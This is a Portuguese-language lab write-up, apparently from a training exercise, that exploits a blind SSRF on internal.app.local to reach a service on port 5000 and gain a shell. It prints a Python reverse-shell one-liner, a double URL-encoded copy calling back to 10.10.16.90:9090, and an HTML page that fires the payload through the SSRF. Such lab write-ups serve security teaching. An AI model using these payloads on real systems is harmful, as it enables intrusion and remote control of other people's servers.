# Question-1

O alvo é vulnerável ao SSRF cego. Aproveite essa vulnerabilidade SSRF cega para interagir com internal.app.local e obter execução remota de código no serviço interno que escuta na porta 5000, como você fez na seção anterior. Envie o número da versão do kernel como sua resposta (formato de resposta: XXX-XX)



Demos uma olhada no site, e notamos que é possivel fazer upload de arquivo

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FANam4w6oGSvs7KMuErl1%2Fimage.png?alt=media&#x26;token=e67cdbb1-9f7f-47a0-bdb4-c2046cde654d" alt=""><figcaption></figcaption></figure>

O site é vulneravel ao SSRF blind, então carregamos um shell

**Bash Reverse Shell**

```bash
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

Precisamos codificar nossa carga útil por URL.

```html
export%2520RHOST%253D%252210.10.16.90%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527
```

Agora, vamos criar um arquivo HTML que executa uma solicitação GET para internal.app.local, alcança o aplicativo local vulnerável à execução remota de código via SSRF e executa nosso shell reverso.

```html
<html>
    <body>
        <b>Reverse Shell via Blind SSRF</b>
        <script>
        var http = new XMLHttpRequest();
        http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.16.90%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true); 
        http.send();
        http.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
    </body>
</html>
```

Assim que iniciarmos um ouvinte Netcat em nossa máquina e enviarmos o arquivo HTML acima, receberemos um shell reverso vindo de `internal.app.local`.

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FakdClmLQPMwX0LIKKFe8%2Fimage.png?alt=media&#x26;token=c447e75e-931b-4a10-b390-41a652ed5e81" alt=""><figcaption></figcaption></figure>

